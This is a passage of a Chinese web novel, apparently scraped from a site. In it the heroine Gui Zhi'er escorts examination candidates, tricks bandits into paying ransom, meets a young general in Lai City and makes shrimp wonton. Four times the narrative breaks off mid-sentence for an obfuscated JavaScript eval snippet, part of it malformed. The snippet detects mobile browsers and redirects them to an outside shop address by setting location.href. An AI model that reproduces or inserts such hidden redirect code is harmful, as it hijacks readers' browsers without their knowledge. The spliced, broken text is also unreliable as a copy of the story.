骨节分明的修长手指，先是取出洁白如雪的盐粒，挥洒中增添食材之咸鲜。 再抛出颗粒饱满的花椒，还有火焰色的辣粉。 调料的味道，仿佛带着一种罪恶的原始诱惑，众举子咬紧牙关。 “这、这好香啊！” “先生不带圣贤书，竟带这些俗物。” 有人微微仰头，试图转移注意力，但那烤鱼烤兔的香气却如影随形。 “大功告成，过来吃吧。”桂枝儿咬了一口。 烤鱼外皮香脆，似薄纸般在齿间碎裂，肉质紧实富有弹性，辣粉让舌尖燃起熊熊烈火。 条件简陋，熟了就行，她主动招呼众人。 “先生是喊我们？”王蒲背负众人的期待，问了一句。 “不然呢？”桂枝儿反问。 她目光撇过考生手中的麦面大饼和炒米，藏不住嫌弃之意。 要不是怕在北境内暴露身份，她早就自己动手、丰衣足食了。 书生们脸色一红，扭扭捏捏地凑上前来。 不就是烧烤吗，宴会上又不是没吃过。 举子们毕竟上过些乡镇的大场合，虽被勾起了馋虫，却仍保持着风度。 “咔滋。”第一口是脆皮。 紧接着，辛辣的胡椒和小茴香在嘴中霸道横行，浓郁的肉汁随后占了上风。 咸鲜味恰到好处，调料与兔肉的鲜美相得益彰，让人欲罢不能。 “好吃！”书生们瞪大了眼睛，口不停嚼。 果然人类逃不过真香定律。 习以为常的柳千金轻哼一声，不与他们厮抢。她慢悠悠地嚼着肉，搭配小浆果。 浆果是桂枝儿从野外矮树下摘的，色泽鲜艳，不仅外形圆润饱满，口感也清爽解腻。 似是大自然在这初春时节的馈赠。 “跟着桂小娘子，吃喝不愁。”柳千金轻抚脸上丑陋的胎记，心满意足。 “多谢先生慷慨厚爱。”王蒲等人，不忘说几句客气话。 他们一边将肉席卷而空，一边打开水囊，旅途疲惫烟消云散。 “别，不用谢。”桂枝儿又恢复了懒散模样，“你们少问我几道题就成。” 她拨弄着小铲子，将土覆于火上，轻轻压实。 吃饱喝足，这帮书生可别又勉力向学。 听着脑袋就疼。 “先生，您作为监学，怎可不关心弟子学业呢？”书生想质问，没忍住打了个饱嗝。 声音一出，顿觉羞赧。他嘴角微微抽搐，懊悔自己适才抢肉吃的失态。 “百无一用是书生。”桂枝儿收拾完，悠然倚坐驴车。 她双腿随意伸展，头颅微微后仰，靠在行囊上，双目轻闭养神。 摆出一副闲适之态。 提问的举子瞠目结舌，嘴巴微张，满是惊愕之色。 荒谬，简直荒谬！ 士农工商，士排第一，读书人受尊敬是公认的事实。 举子们作为乡贤，往小了说，可免除赋税徭役，不仅有官府赏赐，还有地方乡绅资助。 往大了说，将来走上仕途，名字被刻在乡鼓楼和祠堂上，是整个家族的荣光！ 朝为田舍郎，暮登天子堂。 谁人敢说读书无用？ 桂枝儿也不反驳。 她口中叼着一根狗尾巴草，微微眯起双眸，神色慵懒。 “我问你们，大梁为何废除前朝的世袭与推举制度，改为科举取士？” 众举子对视一眼，很快就给出了答案。 “实乃圣上英明，纳天下贤才，共兴国之富强。”举子向南方杭京所在处拱手作揖。 古语有云：学而优则仕。 这也是科举让读书人趋之若鹜的重要原因。 “还有呢？”桂枝儿嘴角上扬，似有一抹若有若无的笑意。 与此同时，她耳尖微动，眼角余光向丛林中瞥去。 “科举兴，则文风盛，国之教化行焉。”王蒲沉思片刻，斟酌着回答道。 不愧是有过春闱经验的人，眼界更广阔些。 但还不够。 桂枝儿摇了摇头。 “我再问你们，世袭制让豪门不断做大做强，当他们分疆裂土、乱立邦国时，这天下是谁的天下？” 王蒲先是一怔，继而双目圆睁，脸上露出恍然大悟的神色。 官不世袭，就割断了世族凭借门第优势，把持朝政的局面。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712113|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思路打开后，一点就透。 “是了，我等若通过会试、殿选，那便是天子门生。”那位泼辣圆润的女书生快言快语，“自然忠于朝廷，忠于陛下。” “等等……我还没说完呢。”桂枝儿一时语塞，抬起手来挠了挠鼻子。 “最后一问。前朝百姓贫苦，便起义推翻朝政，现如今，贵贱得以流转，平民该如何自处？” 闻弦歌而知雅意。 科举取士拓宽了上下阶级的流动渠道。 社会矛盾得以缓和甚至化解，能人异士转投科举，则社稷稳矣。 “啊？”女书生嘴巴微张，似欲言语，却半晌发不出声音。 听起来好像没问题。 但、但一定有哪里不对吧？ 所以朝廷不是求贤若渴，而是防止我们聚众造反？ 王蒲表情惊愕，被定在原地。 其他书生也满脸茫然，不住地摇头，口中喃喃自语：“不敢苟同……” 这群书生自小只知读圣人言，眼光拘于凌河县一地。 需死记硬背的帖经，掌握得很扎实，诗赋、文律也各有所长。 唯独策论，是他们巨大的短板。 未处策定者之位而思焉，何以对答？ “好啦。”桂枝儿如遇乐事般，展颜笑道。 途遥且长，若不来个恶作剧，颠覆大家的认知，一路上该多无趣。 “啪啪。”她旋即轻拍两下巴掌，“下面办正事。” 她笑容灿烂，手腕一抖。 “嗖嗖！”袖里箭似闪电般射出，箭影破空而去。 身后郁郁丛林中，繁枝茂叶。斑驳的光影洒下，隐约可见人影幢幢。 临近花山岗，劫道的贼寇已悄然埋伏多时。 这是北境与东鲁的交界处，双不管地带。 “啊——”几声惨叫暴露了来人。 “碰到硬茬子了。”一劫匪身着粗布衣衫，头裹巾帕，右手被箭洞穿，鲜血正汩汩涌出。 他面容冷峻凶狠，咬了咬后牙根。 寨子里的人还等着饭吃，今天这个道必须劫。 “弟兄们，抄家伙，上！”其余劫匪手中紧握兵刃，寒光闪烁。其中除了少量刀剑，还有长柄的耒耜、铁质的锄头。 他们目光凶狠，如同一群伺机而动的猛兽。 “不、不，银票都给你，莫要伤人！”书生们吓坏了。 有人面色苍白如纸，身体微微颤抖，额上冒出细密的汗珠。 连呼喊声都是从牙缝里挤出来的。 桂枝儿叹了口气。 我方人数是劫匪两倍，可惜大多肩不能扛，手不能提。 唯有扮作随从的柳千金还算冷静，取出了长鞭。 桂枝儿呼吸缓慢而均匀，手随心动，又是一箭射中山贼。 “我不是说读书没用，我是说你们没用啊。” 39. 活水养鱼 一刻钟不到，局势逆转。 山贼们握兵器的手心俱是贯穿伤，伤势不重，但疼得额头上冒出豆大汗珠。 “把俺们放了，你难道不知，花山岗大当家是谁吗？”挣扎扭动的山贼口中仍在叫嚣。 “是谁啊？”桂枝儿随口问道。 她耐心地用绳索一圈圈绕上去，从山贼的脚踝至腰间，再到手臂，直至将其全身牢牢束缚。 “乃大名鼎鼎的双板斧黑风煞是也！” “哦。”名字还怪威风的。 桂枝儿拍拍手，把他捆得结结实实，犹如一个粽子。 柳千金也带着另外几个力气大点的书生和车夫，用绳索将被点穴的山贼牢牢绑住。 山贼满脸愤恨，却动弹不得。 “老弟你看，我们刚好要进城。”桂枝儿语气温和，一副好说好商量的模样。 “在离城门一里地左右，我放你回去。”桂枝儿道，“通知你们老大，亲自带着赎金来换人。” “对了。”她一拍脑门，“天黑前我们要进城休息，晚了，我可就直接报官处理了。” 桂枝儿伸手指了指天色。 早春的午后，天空如水洗般澄澈，几缕白云悠然飘荡。 距离天黑，不过个把时辰。 此言一出，山贼和书生们双双愣住。 “俺、俺们才是绑匪。” 被捆成粽子的山贼感觉自己这话说的一点底气都没有，欲哭无泪。 从这帮文弱书生进林子捡柴火时，他就盯住了，蹲守半天，确认这群人只会打嘴仗，才敢出手的。 没想到竟被鹰啄了眼。 “先生，这样不好吧。”饶是王蒲见多识广，也有些磕巴。 他拄着竹杖，感觉自己脚腕酸涩，头有点晕。 没听说过，还能跟山贼要赎金的啊？ “赶考也需要爱心人士赞助路费嘛。”桂枝儿厚着脸皮笑道。 花山岗蜿蜒险峻，地形复杂，是山贼滋生的绝佳土壤。他们长期流窜于附近，恐怕连官兵来了都不好剿灭。 但这口恶气得出。 将山贼抬到驴车上排排坐，一行人便向莱城进发。 远眺山峦，连绵起伏。 沿途残留着冬日里的淡淡白灰色，但不经意间，也冒出几茬青绿。 几名山贼起初还骂骂咧咧，试图伺机逃跑。 直到绕过花山岗，临近城门后，才老实认命。 一个个眉头紧蹙，口中不时哼哼唧唧，期盼着被放回去报信的兄弟，能及时通知大当家的。 “先生，流寇屡禁不止，当地治安官为何不进行清缴？”有书生好奇地问道。 虽然他们还没从桂枝儿给的震撼中缓过劲来，但潜意识里，感觉这位监学大人，可能真有点东西。 学无止境。 “呵。”有山贼嗤笑一声。 “俺们花山岗是交界处，南北都管不到。”他气得咬牙切齿。 若不是今日阴沟里翻船，平时只管绑了过往行商，要么拿赎金，要么扣货物，好不快活。 书生们面露鄙夷。 一群有手有脚的青壮年，不事农桑，反做这杀人越货的勾当，可耻！ 桂枝儿看他们争论，也不反驳。 她一只脚晃荡在车边，随着驴子的颠簸，有节奏地摆动。嘴里依旧叼着一根草叶，微微眯起眼睛。 “朝廷让官老爷们去剿匪，总要给好处的。或是粮草补给，或是武器装备。”桂枝儿解释道。 她轻拍驴背，示意停下，狡黠地笑道：“如果你们是地方官员，该怎么做？” 先生这是要教导策论了。 众书生神色恭谨，小声议论后推举代表作答。 策论，无非是开篇引圣人言表明立场，而后条分缕析进行论述。 即使没有纸墨润色，亦能做到言辞雅正，句式规整。 山贼们虽听得迷迷糊糊，但也大概知道这是在讨论什么。 “抓人就算了，还故意羞辱俺们，呸。”有山贼看了看自己手心的伤口，啐了一口。 哪有把贼绑起来，然后当面分析怎么对付贼的？ “其实吧……”桂枝儿打了个哈欠，众书生视线汇聚。 王蒲心中忐忑，不知先生会如何评价。于军事方面，他们经验寡少。 但大家已经绞尽脑汁思考，如何才能彻底清剿匪徒了。 “你们的方法都很好。”出乎意料，桂枝儿夸赞道。 不愧是在军事重镇凌河县长大的孩子们，耳濡目染，提出的对策确实有可操作性。 “不过……”话音一转。 “既然靠剿匪就能获得朝廷资助，那么必然还有一部分官员。”桂枝儿微微颔首，双目凝视前方。 “不全力清缴山贼，每次都有所收获，先给朝廷交差，下次再继续恳请拨款。” 这就叫——活水养鱼！ 众人闻言，倒吸一口冷气。 在未接触庶务的学生们看来，这未免太过大胆。 而桂枝儿只是漫不经心地嚼着嘴里的草茎。 哪里只是一部分官员，按大梁的现状，恐怕已经烂到根子里了。 山贼仅有少量刀剑，那长柄的耒耜、铁质的锄头，分明是良民被逼反上山。 王蒲一边琢磨这背后的内涵，一边抬眼看向先生。 先生开口时，声调沉稳，但又语不惊人死不休。眼神坚定明亮，透 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712114|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露出睿智和自信，让人不由自主地沉浸。 不知县令大人是从哪里请来的隐士高人？ “心里有数就行了，答题时可不能乱答啊。”桂枝儿又恢复了吊儿郎当的模样。 言谈之间，日暮西斜。 柔和的金光，如轻纱般慢慢铺洒大地，莱城的轮廓也渐渐清晰。 它的城墙由巨大石块垒砌而成，高耸、厚重、坚实。远远看去，大门上镶嵌着两个巨大铜环，金色的门钉在落日余晖的照耀下，光芒闪烁。 “莱城，竟然比我们镇北的中心府城还要气派吗？”纤细娇弱的女书生是头一年赶考。 她仰头，满是惊讶和羡慕。 老生们听闻此言，局促拘谨，不知该如何作答。 只因莱城在东鲁，不过是一个普通小城。 早年中举，人人都觉得自己与众不同，幻想将来大有所为。 恨不得待到金榜题名时，一日看遍杭京花。 然而只要走过一次进京路，就会知道，北境和江南的差距有多大。 “等到了楚淮河，那才叫热闹呢。”有考生酸涩不已。 “哎呀，太阳快落山了。看来你们大当家的，不想救你们喽？”桂枝儿打破了沉闷的气氛。 她故作可怜地拍了拍手，眼中满是戏谑。 “你放屁嘞，少挑拨离间！” “不可能，俺们大当家最重情义了！” 山贼们异口同声。 花山岗大当家——大名鼎鼎的双板斧黑风煞。 若是手下受欺负，他定会怒目圆睁，提起斧子为弟兄们讨回公道。 若是山寨有人家遭难，他也毫不犹豫地拿出财物相帮，连眉头都不曾皱一下。 “有难同当，有福同享。”山贼们信念坚定，“俺们花山岗亲如一家，最讲江湖道义。” “今日就算是你联合狗官设的陷阱，俺们大当家，也定会前来！” 想不到一句质疑引起这么激烈的反应。 桂枝儿挑了挑眉，仔细盘算着每句话的分量。 “大当家要不是一个月前被害重伤，早就赶过来了。”有山贼嘟囔着。 年前，有个少年郎不过弱冠稚龄，斜背一杆红缨枪，骑着白马路过花山岗。 这种人一眼看去就是练家子，山贼本不欲招惹。 怎料那少年根本不循常理，用一杆枪单挑山寨，直打得大当家肋骨都断了几根。 “劫道、杀人，小爷我一路上遇得多了！”少年声音冷峻，面庞上有血迹斑驳。 阴鸷的神色，让周边空气都凝结。 他身姿挺拔，脚底却狠狠碾压着山贼的脑袋。 “说吧，你们又是谁派来的？” 40. 千防万算 “等等。”桂枝儿打断。 她掐指算了算时间，问道：“把你们闹得人仰马翻那后生，是不是有一杆红缨枪？” 山贼错愕地瞪大了眼睛。 “你、你们跟那小崽子是一伙儿的？早说啊！” 俘虏痛心疾首，早说俺们指定绕道走。这年头，世道变了，山贼都成弱势群体了。 桂枝儿单手轻托下巴，下意识地摩挲着，若有所思。 “是大当家的，大当家的来了！” 随着一声欢呼，被捆绑在驴车上的山贼们顿时骚动起来，眼神中交织着感激与羞愧。 桂枝儿抬眸。 只见一匹老马从小路斜穿过来，马背上的男子紧握缰绳，动作略显笨拙。他的双手粗糙有力，布满了老茧。 男子面部被简陋的麻布遮挡，衣服早已洗得褪色，打着几个补丁，粗布腰带还上别着两把斧子。 谁能料到，大名鼎鼎的黑风煞，竟然是个看起来十分憨厚的农家汉子。 “在这儿等着，不对劲就往城里跑。”桂枝儿嘱咐柳千金等人看好人质。 她脚步轻点，似羽毛般跃起穿梭，远远截住黑风煞。 有些问题，她需要当面聊聊。 “先生当心啊！”王蒲满是担忧。 无论表面再人畜无害，这也是山贼头目。 但凡匪徒，俱烧杀抢掠，无恶不作，王蒲甚至可以想象到他狰狞的面孔。 书生们各个紧张焦灼，喉咙微微蠕动。 若不是有先生坐镇，真恨不得插上翅膀飞到城门求助。 怎料交谈不过片刻，桂枝儿便飞身返回。 “先生，怎么样？”书生们一拥而上。 桂枝儿抚了抚毡帽，一身蓝色交领旧棉袍，硬是让她穿出衣袂飘飘的感觉。 “一手交钱，一手交货。”桂枝儿甩了甩手中新收到的银票。 银票质地细腻，纸张微微泛黄，背面盖着红戳。 那是汇通钱庄的印记，是大梁北部疆域，除金银外的第二硬通货。 “啊！”王蒲嘴巴大张，紧紧握住竹杖。 什么，山贼真交赎金了？ 桂枝儿几脚踹过去，把俘虏毫不客气地抛在地上，激起尘土飞扬。 她玩世不恭地笑骂：“小贼们，洗心革面重新做人，下次别再找爷爷麻烦了。” 不顾满地的“哎呦”痛呼声，桂枝儿指挥车夫进城。 晚霞已经由橙红变为玫红，伴着黄昏残阳，莱城大门即将关闭。 在天色转暗前，来自镇北府凌河县的赶考大军，正式踏入东鲁城池。 前往客栈的路上，桂枝儿眼瞅众人欲言又止，不觉好笑。 “怎么，觉得先生我，赚的是不义之财？”她眨了眨眼。 “奴、奴才想问，那山贼十恶不赦，怎肯乖乖听话，冒险来救人？”柳千金差点说错称呼。 为避免暴露，她这一路上谨言慎行。 现下，实在是好奇。 “都是些相邻村庄勤苦的田夫野竖，被圈地，就成了流民。”桂枝儿从容不迫地解释。 原来，东鲁地方不抑土地兼并。 于是官僚豪势之家，通过种种手段，掳走平民的耕地，占有了牲畜、房屋。 可凡是登记在大梁户籍册上的良民，都需要纳税。 米粟从何而来？ “只能为奴为仆，不愿意就无家可归，怪不得这么多人聚众成了山贼。”书生们喃喃道。 他们隐约觉得哪里不合理，但又说不上来。 王蒲作为考生中的“三朝元老”，更熟悉律法，一针见血地指出漏洞。 他正气凛然地问道：“按大梁律，只有受田农户，每年需纳良米两石，调棉或帛两匹。” 失了田，就不算受田农户。 “尽信书，不如无书。”桂枝儿笑了笑，“路遥不急，慢慢感受吧。” 从纸面上的道理，到现实中的社会，书生们还有很长的路要走。 深巷传来犬吠，墨色的帷幕从天边垂下。 灯笼散发出微弱光芒，跳动的火光摇曳着，三辆车压过石板路，缓缓向客栈驶去。 黑暗中，桂枝儿面目模糊，唇角勾勒起一抹饶有趣味的笑容。 银票并不白拿，她给黑风煞指了条明路。 “按你所说，那后生知晓你们并无后台，且图财不害命，遇到良善人遭难也会仗义相助，才饶你们性命。” “你可知那后生是谁？” “若带着全寨归顺，投靠边防北境第一军，你觉得少将军会招安你们吗？” 桂枝儿深呼一口气，陷入回忆。 彼时，少年在雪山中控诉赴任的艰辛，声音明澈如清泉流淌，却带着几丝苦涩与委屈。 想来他早就知道，沿途并不是普通匪徒，而是有人要下死手。 千防万算，竟然漏了一个小狐狸！ 桂枝儿眉梢轻挑，眸色复杂。 怪不得，怪不得当她拿出连弩制作图时，作为重大发明，按律例要上报朝廷。 长官们却纷纷装聋作哑。 小小的北境，文官与武将，没一个好东西。 桂枝儿咬了咬后槽牙。 莱城外，黑暗笼罩丛林，挺拔的树木静静矗立。 枝叶在夜风中轻轻摩挲，身着夜行衣的少年与月色融为一体。 他斜倚在粗壮的树枝上，墨色长发随意束起，有几分洒脱不羁。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712115|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 树下是一匹通体洁白如雪的神驹。 “雪影乖，在这儿将就歇半夜，明天进城。”少年手中把玩着一片树叶，双眸如寒星般璀璨。 经过军营的淬炼，他青涩的身姿更加紧致流畅。 “哈——啊秋！” 一阵悠长的哈欠还没结束，以喷嚏收尾。 “谁骂我？”少年嘀咕了一句，“不就是趁着休沐两日，出来找个人吗。” 月光透过层层枝叶的缝隙洒下，斑驳地落在他俊朗的面容上。 少年眯起眼睛，浅浅地靠在树上安眠。 翌日清晨。 晨曦微露，莱城市集便悄然苏醒。 货郎们挑着担子，急匆匆地占据有利位置，临街店铺的门板也陆续发出“吱嘎”声。 “新鲜出炉的包子嘞，白菜萝卜猪肉馅，客官来一个？”店老板熟练地捏着包子褶。 蒸笼热气腾腾，早点铺开门迎客。 逐渐热闹起来的街边，一个脸上有褐色胎记的小仆，正兴奋地东查西探。 “小娘子快看，画糖人！” “这绸缎颜色真鲜亮，想裁新裙子了。” “行了行了，集市而已，中心府城又不是没有，你怎么跟乡下土包子进城似的。” 桂枝儿嫌弃地摇摇头，示意她小点声儿。 “那能一样吗。”扮做仆从的柳千金，一张脸上眉毛稀疏杂乱，皮肤也甚是粗糙。 但流波转盼的桃花眼，有着盖不住的神采奕奕。 “这可是奴家，头一次，自己逛街。”柳千金在“头一次”三个字上加重了语调。 她扬了扬下巴，像刚被放飞的雀儿。 桂枝儿无奈地摆摆手，不再管她。 转而踱步至张贴布告的木板旁，仔细浏览。 “上元将近，本城照例点灯三日，以示庆贺。”这是最新一张纸。 “……秋征逾期未缴，处以笞刑、杖刑者如下……凡有隐匿田亩、房产、店之进益，妄图逃避纳税者，一经查实……” 这张告示经过风吹日晒，纸张边缘已经发硬，变得毛糙卷曲，但还挂在最显眼处。 桂枝儿今日依旧墨发高束，扮作男子模样。 伪人皮面具十分贴合，她的步伐轻盈稳健，行走起来颇具英气。 单从背影看，宽袍大袖随风飘动，仍有几分女子的柔美。 桂枝儿朱唇紧抿，目不转睛地对着告示板凝思。 没见到新的协助抓捕通告。 看来刘知府还是有分寸的，出逃一事，也就到此为止了。 “姑娘。” 一个突兀的声音，扰乱了桂枝儿的思绪。 一只手搭到她的肩膀上。 41. 虾米馄饨 桂枝儿有一瞬间的僵硬。 这个声音，很耳熟。 她转头，眼前少年宽肩窄腰，背着一杆红缨枪，似少年侠客般洒脱不羁。 他微微含笑，一副胜券在握的样子。 但在看清桂枝儿的面容后，少年立在那里，尴尬之色瞬间漫上脸庞。 “多有叨扰，认错人了。”栾霜柏嘴唇轻轻颤动。 他身体僵硬，明亮的眼眸满是讶异，双手紧紧握拳又缓缓松开，泄露了内心的局促。 背影明明很像，但，为什么会是一个男人的面孔？ 桂枝儿上下打量他片刻。 她压下心底的惊讶，礼貌地点点头，一言不发，转身向早点铺走去。 “客官，新鲜出炉的包子，来一屉？”店老板热情不减。 “嗯。”桂枝儿装作很自然地坐下。 木质桌面老旧不堪，一摸一手灰，凳子腿跟着颤颤巍巍。 莱城也不过如此。 早春积雪融化，哪儿哪儿都现出原形。 街面变得坑坑洼洼，一踩一脚泥。城门修得再气派，也盖不住内里的破败。 “不是说认错人了吗，为什么还跟着我？”桂枝儿叹了口气，压着嗓子质问道。 在她身旁，栾霜柏紧追不放，眼神紧紧地盯着，一眨不眨。 “姑娘，我从凌河赶过来。”他双手交叠在前，一副委屈神情，“肚子很饿，能给我买点包子吗？” 倏然骄阳升起，把斑驳的影子，铺洒在少年脸上。 正是年轻力壮的时候，虽是春寒料峭的天气，他也只穿了一袭黑衣，几缕飘落的长发桀骜不驯。 偏那表情小心翼翼，像是在期待着主人的赏赐。 桂枝儿没搭理，默默咬了一口包子，被粗糙的颗粒感噎到。 她连忙端起汤碗，凑在嘴边，轻轻地吹着热气。 看着汤里漂浮的几片菜叶子，实在是没什么胃口。 “姑娘喝茶。”少年殷勤地提起茶壶。 小铺用的都是最劣质的碎茶叶，颜色暗沉，没有丝毫茶香可言，只有一股淡淡的陈旧味儿。 “咕嘟。”一口凉茶下肚，桂枝儿这才抬眸正眼看他。 “不知少侠想找谁？”问得毫无诚意。 “找将军夫人。”答得干脆利落。 “噗。”桂枝儿一口水险些喷出来，咳得双颊微微涨红，不可思议地瞪了他一眼。 “开个玩笑。”栾霜柏心中有了八分笃定，从容地撩开衣摆，坐在一旁。 桂枝儿扶额，心中无奈，感到一丝荒诞的幽默。 想躲的人躲掉了，没在意的人竟然追出来。 日出彻底唤醒莱城。 街上的流民乞丐明显增多，破碗里，连几枚零星铜钱都没有躺，而是空荡荡的。 包子铺也偷工减料，摒弃昂贵的白面，在皮儿里掺入大麦、荞麦。 栾霜柏咬了一口，被噎得同样嗓子生疼。 桂枝儿开怀大笑。 不过些许小事，看起来无伤大雅，小城便默默包容着潜藏的动乱。 虽然有关北境乞颜乌什部落游牧劫匪的消息，真真假，但在小城人心中，那还是遥远的、隔膜的。 初春的柳树已经吐了嫩绿，日子平淡却又安逸。 “走吧，带你回我们下榻的客栈，弄点好吃的。”桂枝儿拍下几个铜板，大发慈悲。 她向远处招招手，一直在警觉观望的柳千金便颠颠儿地跑来。 “这位是……”栾霜柏看着她脸上的胎斑，诧异问道。 桂枝儿递了个眼神。 柳千金变回婉转的音调，谨慎行礼：“奴家见过少将军。” 栾霜柏身躯一震，不由自主地向后退了半步。 “啊！”他睁大了眼，嘴唇微微张开，“你竟还拐了花魁娘子，中心府城都闹翻天了。” 这次轮到少年哭笑不得。 对上两人求知的目光，栾霜柏细细道来。 原是那城防掌兵将蔡统领不死心，屡次去邀月楼找花魁。 不知何处走漏风声，让他知道花魁被赎走了。 蔡淼当即勃然大怒，沙包大的拳头将老鸨揍出两眼乌青。 “你他爹的，少在老娘的地盘放肆。”老鸨珠钗歪斜，头发乱作一团，但仍嚣张硬气。 她双眼四周青紫交加，华服皱巴巴的，被几个彪形大汉扶起来。 “有本事，咱就找知府大人评评理！” 评理的结果——无故伤人按律当杖刑，鉴于有官职在身，罚俸半载，偿苦主银，停职自省一月。 “还算公正。”桂枝儿点点头，“那么，有人猜出来花魁娘子是被谁赎走了吗？” 栾霜柏耸耸肩，复又缓缓摇头。 老鸨咬死了不说，只放言是得罪不起的大人物。 在知府大人判罚后，老鸨更是扭起腰肢，迈着碎步，满脸嚣张。 “哼！”她涂脂抹粉，满头珠翠摇晃，“我邀月楼背后若是没靠山，怎么敢在这儿地界儿混。” 靠山自己恐怕都不知道呢。 桂枝儿唇角上扬，眸中闪烁着狡黠，内心满是恶作剧得逞后的窃喜。 拖到事情败露，轻舟早过万重山。 “可见此事颇有蹊跷。”栾霜柏站在两人中间，手指轻盈如蝶，从左指到右穿梭着。 少年眉清目秀，眼神专注又俏皮。 “我会帮姑娘保守秘密的。”他将食指立于唇前。 毕竟吃人嘴短。 客栈后厨，热气腾腾。 几口大锅在灶台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712116|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上一字排开，熬好的小米粥和白粥略有些稀薄，但还算清香。 再配上几碟小菜，酱黄瓜、咸菜、萝卜干等，便是最简单的开胃早膳了。 “剩了不少米粥，便宜卖你们得了。”主厨的庖子挠挠头，“何必自己动手，徒增麻烦。” 他头一回听说，有人要租用庖厨。 看到是一群穷酸书生，更加不理解。 莫不是死对头派来的探子，想装作不小心炸了后厨，让上元节晚宴泡汤吧？ 生意越来越不好做，防人之心不可无啊。 “就借个火儿，还有厨具。”桂枝儿展颜一笑，举起手来。 只见她手中挂钩稳稳地勾着一串肉。 打眼一看它肉质鲜嫩、肥瘦相间、比例适中，定是铺子上最新鲜的猪前腿肉。 “要剁馅儿？”主厨的庖子身形圆润，恰似一座小山。 他将目光在桂枝儿脸上缓缓游移，看到她诚挚地点头，也就挥挥手同意了。 但还是警惕地站在一旁监视。 桂枝儿并不在意他人围观“偷师”，她只专注于案上鲜肉。 简单处理后，她执利刃，手起刀落。 猪前腿肉被分成块儿，旋即，随着有节奏感和韵律的挥刀，肉块又变为肉丝。 在刀刃与案板撞击的清脆声响中，充满了力量。 不过片刻，她改剁为砍。 在雄浑的刀势下，肉丝化为肉糜，逐渐有了馅料的形态。而桂枝儿气定神闲，毫无疲惫之色。 外行看热闹，内行看门道。 主厨的庖子见桂枝儿搅拌肉馅一气呵成，还用了不少他没见过的配料，顿觉稀罕。 “葱、姜、盐不足为奇。” “胡椒虽贵重了些，但也常用。”主厨的庖子睁大了眼睛，伸出手一指，“这是个什么？” 小巧玲珑的模样，身形纤细，微微弯曲，似一弯新月。凑近细嗅，还有一股淡淡的海腥味。 “金钩海米。”桂枝儿不吝赐教，“沿海比较常见，咱们这儿用的少。” 主厨的庖子挠挠头，他打当学徒开始数十载，压根就没见过这玩意。 于是愈发瞪大了眼，生怕错过什么步骤。 桂枝儿开始包馄饨。 她手指灵动，轻拈薄面皮，用小木棍舀起一点儿馅料放置皮上，瞬间对折、一捏、一合，动作行云流水。 火苗舔舐锅底，锅中沸水不断翻滚。 在她身后，刚习完早课的书生们，远远观望。 “看着像饺子，又不一样，文景兄你吃过吗？” “我听闻燕平有一种吃食叫多肉馄饨，做法和这个相似，但鼓鼓囊囊的。” “有区别。”书生们一致摇头，“先生还是太全面了，我等望尘莫及啊。” 42. 珍珠奶茶 一碗热气腾腾的小馄饨出锅。 那薄薄的皮儿近乎透明，隐约可见中心一点粉嫩的肉馅。清汤水中点缀着些许葱花紫菜，雾气袅袅上升。 “不收租金了，能否让我尝一碗？”主厨的庖子矜持地问道。 “您请。”桂枝儿自无不可。 馄饨在碗中微微晃动，玲珑剔透。 主厨的庖子抿了一口汤，淡淡的鲜香瞬间在舌尖绽放。 是颗颗虾米的功劳。 那鲜味，不如山珍浓郁，也不似河鲜带着些腥气，而是独特的，如海浪涌动般的滋味。 “绝妙！”主厨的庖子热泪盈眶。 美食固然令人喜悦，但其中的商机更令他心动。 伯阳山脉与楚淮河一带以北，是面食的天下。 这碗吃食以面为主，用肉量不大，与厚实的饺子相比，成本低贱，味道鲜美。 “只要您住店，后厨随意使用。”主厨的庖子当即拍板。 他舍不得再吃，端着碗，火急火燎地去寻客栈老板商议。 这个海米，一定要找到进货渠道！ “姑娘果然是，凭本事俘获人心。”栾霜柏赞了一句，暗自钦佩。 虽已不是初次见识桂枝儿的妙手巧做，但光闻着味儿，馋虫就被勾引出来。 “别忙着夸赞。”桂枝儿示意柳千金给大家伙儿分餐，自己则端起碗坐到大堂角落。 日上三竿，她悠哉悠哉地点了两碟豆干。 